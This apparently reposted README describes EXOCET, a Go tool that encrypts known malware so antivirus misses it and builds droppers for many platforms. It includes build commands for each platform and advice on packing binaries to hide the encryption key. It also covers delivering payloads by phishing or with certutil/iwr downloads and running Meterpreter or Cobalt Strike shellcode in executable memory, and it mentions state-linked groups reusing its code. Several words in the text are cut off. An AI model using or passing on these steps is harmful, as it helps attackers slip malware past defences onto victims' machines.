EXOCET-AV-Evasion - EXOCET - AV-evading, undetectable, payload deliver

项目说明

EXOCET - A, undetectable, payload delivery 工具

<br>

Updated EXOCET Usage

Make sure you pack your payloads to avoid any leaks of the crypter's key and further frustrate malware analysts. A commercial top-of-the-line packer like Themida is NOT required. It would raise further suspicion without something like a 代码-signing certificate. Without 代码-signing certificate, on Windows systems, SmartScreen is automatically triggered. This is the rule for all potentially unwanted programs or "PUPs", meaning all malware payloads, beacons, geacons, remote access trojans, etc., requires a 代码 signing certificate. Your money is better spent on buying a 代码-signing cert than some top-of-the-line packer.

Then drop the payload on your target. Using something like a phishing email, link, or if you already ha access, deliver it using something like hosting your own ser
python -m http.server 80'
and then on the machine you are compromising, run as a powershell prompt
iwr -Uri " -OutFile "NotMalware.exe"
or
certutil.exe -urlcache -split -f
and then execute with outputmalware.exe

<br>

![]()
<br>
EXOCET is superior to Metasploit's "E Payloads" modules as EXOCET uses AES-256 in GCM Mode (Galois/Counter Mode). Metasploit's E Payloads uses a easy to detect RC4 encryption. While RC4 can decrypt faster, AES-256 is much more difficult to ascertain the intent of the malware.
![]()

However, it is possible to use Metasploit to build a E Payload, and then chain that with EXOCET. So EXOCET will decrypt , and then the Metasploit E Payload then decrypts itself from RC4.

Much like my previous project, DarkLordObama, this toolkit is designed to be a delivery/launch , much like does.

<a href=" Lord Obama Project</a>

However, EXOCET is not limited to a single codebase or platforms that are running Python. EXOCET works on ALL supported platforms and architectures that Go supports.

Exocet O

EXOCET, is effectively a crypter-type malware dropper that can recycle easily detectable payloads like WannaCry, encrypt them using AES-GCM (Galois/Counter Mode), which is more secure than AES-CBC, and then create a dropper file for a majority of architectures and platforms out there.

Basically...

1. It ingests dangerous malware that are now detectable by antivirus engines
2. It then encrypts them and produces it's own Go file
3. Then that Go file can be cross-compiled to 99% of known architectures
4. Upon execution, the encrypted payload is written to the disk and immediately executed on the command line
5. Alternatively, instead of a file-drop, it will execute the reconstitute shellcode in memory using amenzhinsky's go-memexec module github.com/amenzhinsky/go-memexec
6. A custom shellcode executor is in the works, it takes ordinary C shellcode and after num-transform, it will run it by creating a new process after allocating the correct address space and granting it RWX permissions on Windows

That means 32-bit, and 64-bit architectures, and it works on Linux, Windows, Macs, Unix, Android, iPhone, etc. You take, anything, and I mean ANYTHING, like the 1988 Morris Worm that nearly brought down the internet (which exploited a flaw in the fingerd listener daemon on UNIX), and make it a cyberweapon again.

EXOCET is written entirely in Go.

How to use

EXOCET, regardless of which binary you use to run it, requires Golang to work. By default, it generates a crypter .go file.

1. Windows users: <a href=" Go Here</a>
2. Linux users: run sudo apt-get update && sudo apt-get install -y golang
3. You must install the EXOCET 源码 files in golang go get github.com/tanc7/EXOCET-A
4. Sub-requirements will also be downloaded and installed
5. For Windows and Mac x64 Users, pre-compiled binaries are in the /bin folder

To run it

go run EXOCET.go detectablemalware.exe outputmalware.go

A key is automatically generated for you. The key is 64-characters long and is entirely composed of bash and cmd.exe shell pipe redirectors to confuse and disrupt brute-forcing attempts against the key by causing unpredictable, destructi on the forensic analyst's device.

For 64-bit Windows Targets...

env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.exe outputmalware.go

And out comes a outputmalware.exe file

For 64-bit MacOS Targets

env GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.macho outputmalware.go

For 64-bit Linux Targets

env GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.elf outputmalware.go

See this reference on github for your parameters for other operating systems like Android <a href=" for Go Cross Compilation</a>

Note that the key can still be found with the strings command, please use the upx-ucl command to pack binary to conceal the key.

Furthermore, there are prebuilt binaries that I have made, meaning you just have to run ./EXOCET or EXOCET-Windows.exe

Legal Information

I, Chang Tan, and the creators of the main module and submodules of Exocet and the packages it incorporates are NOT responsible for the misuse of this 工具. This is merely a penetration testing 工具. You are strictly prohibited from deploying Exocet output binaries against unauthorized protected systems or unauthorized protected go systems.

I am aware that threat actors of APT41 and the NSO Group have used and/or adopted 代码 from this 工具, particularly the go-memexec method. If I were to be approached by Federal In regarding the misuse of this 工具, I am not claiming responsibility.

This is the same stuff that happened to the de of Mimikatz and PowerShell Empire (who deprecated their own de upon realization of its use among threat actors). The successors ha up de of Empire, and there are free alternatives such as Co C2.

EXOCET live demo

<iframe width="560" height="315" src=" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

Reason for the name

On May 4th, 1982, during the Falklands War, a squadron of Argentinan Super Eterdards launched a French made Exocet missile at the HMS Sheffield. Despite the Royal Navy's attempts to stop the missile, one struck, sinking the Sheffield. That incident literally put Argentina on the map as a show of force against a global colonial power.

<a href=" Article of the sinking of the HMS Sheffield</a>

Very much like how Onel de Guzman's actions with the ILOVEYOU virus put the Philippines on the map as a cyber threat.

<a href=" Virus on Wikipedia</a>

Incoming update, notes and ambitions

![]().png)

So this month, and the next month is going to be a busy month for me, and there will be delays in implementing these methods. But I am excited to get started on implementing new A techniques such as...

1. Inline hooking
2. Obfuscation by emulating BlackRota and the gobfuscate module
3. Process hollowing
4. Reflective DLL injection
5. Remote process injection
6. ThreadLocalStorage Callbacks
7. Registration of Top-Le Handlers
8. Custom UPX packing

I am a very busy man, I have the following priorities and I would like to request some help, some pull requests to aid in the project. Since I have the following things to do

1. A court appearance in late October
2. National Cyber League
3. Accounting and Finance Classes, Computer Science was NEVER my college major and in the following weeks I will ha back-to-back
4. Federal Supervised Release Conditions and the FBI trying to implicate me in new unpro. I have dash camera I uploaded to the cloud to prove it that I am sending to my lawyers. I ha multiple attacks against me, of my car, my house, filed police reports and counter reports and will be building my case to file a Federal lawsuit. One of the perpetrators, who ripped out my front bumper of my car, has been arrested.
5. A private project in interaction with the CoinGeckoAPI
6. Running the cryptoscopeinitiative.org, a to-be-filed 501c3 Non-Profit Organization
7. Teaching three online classes on Exploit De

Upcoming update! Direct encrypted shellcode execution! (Implemented in test , not released yet)

~~I need a bit of help, because I successfully implemented CGO to execute encrypted shellcode but it is throwing memory access exit status 0xc0000005. It shouldn't be anything related to DEP (Data Execution Pre) because the file CGOTest/working-template-shellcode-executor.go did run.~~

Problem Discovered

As it turns out, must be called from kernel32.dll and ntdll.dll to properly make the memory page where the shellcode lands, readable, writable, and executable, in other word, set the PAGE_EXECUTE_READWRITE to ON. Read the *Note on Memory Access Problem* below.

![]()

Once I figure this out, CGO was a pain in the ass to implement, we can now create crypters that execute INLINE-ASSEMBLY. Which was considered a impossibility until now.

Note this requires Golang and the MinGW toolchain to be installed on Windows with you running and generating the shellcode on Windows. The reason why, is because CGO cannot be cross-compiled like our other EXOCET modules. To install the toolchain you need to go to and follow the guide. Then you must add gcc to your en in Windows

![]()

Step 1: Generate shellcode, this could be from msfvenom Meterpreter payloads, Cobalt Strike Beacons, or your own custom shellcode in C compatible format
![]()

Step 2: Copy only the bytes of the shellcode, excluding the quotes into a text file like sc.txt
![]()

Step 3: Your shellcode file should look like this. Raw shellcode
![]()

Step 4: Now run the command go run exocet-shellcode-exec.go sc.txt shellcodetest.go KEY

Step 5: You can attempt to run it but you'll run into memory access errors for some reason, which I am still working on

Note on Memory Access Problem

Apparently, aside from the major limitations of CGO that prohibit or dramatically frustrates cross-compilation, the issue is that the shellcode we want to execute is landing in a section of memory (analyzed in WinDBG x64) that is not RWX. In other words, unless we write C 代码 that explicitly allows execution in memory of the shellcode, it will always throw access errors.

The other method, that I obser de of rudimentary Go modules is that they use Go's Windows API to interact with ntdll.dll and kernel32.dll to call and specify areas of RWX memory pages. This method works better, but it seems that the shellcode must be in num-transformed format only for it to work.

I am still working on this you guys. I may combine multiple programming languages together to write a proper shellcode execution module

Note on Apple M1 Chips for precompiled binaries

Unfortunately I am running into errors for making a pre-compiled binary for MacBooks running the new M1 CPUs. It may be a issue with my Golang installation

Either way, you still require Golang to compile or cross-compile the malware to the platform you are targeting.

项目信息

开发语言：Go

Star 数：841

技术要点

该项目属于黑客技术方向的开源资源，代码结构清晰，适合安全研究人员学习参考。项目围绕EXOCET - A, undetectable, payload delivery 工具展开，提供了可运行的实现，对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。

从技术实现角度看，此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论，梳理项目的初始化流程、核心模块职责与数据流转，逐步掌握其中的技术细节与设计思路。

使用与学习建议

1. 下载源码压缩包，解压到本地环境。

2. 根据项目类型准备对应的运行环境与依赖。

3. 按照 README 中的步骤完成配置与部署。

4. 在隔离的测试环境中运行验证，避免影响生产系统。

免责声明

本资源来源于开源社区，仅供安全研究、技术学习与合法授权范围内的攻防演练使用，请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。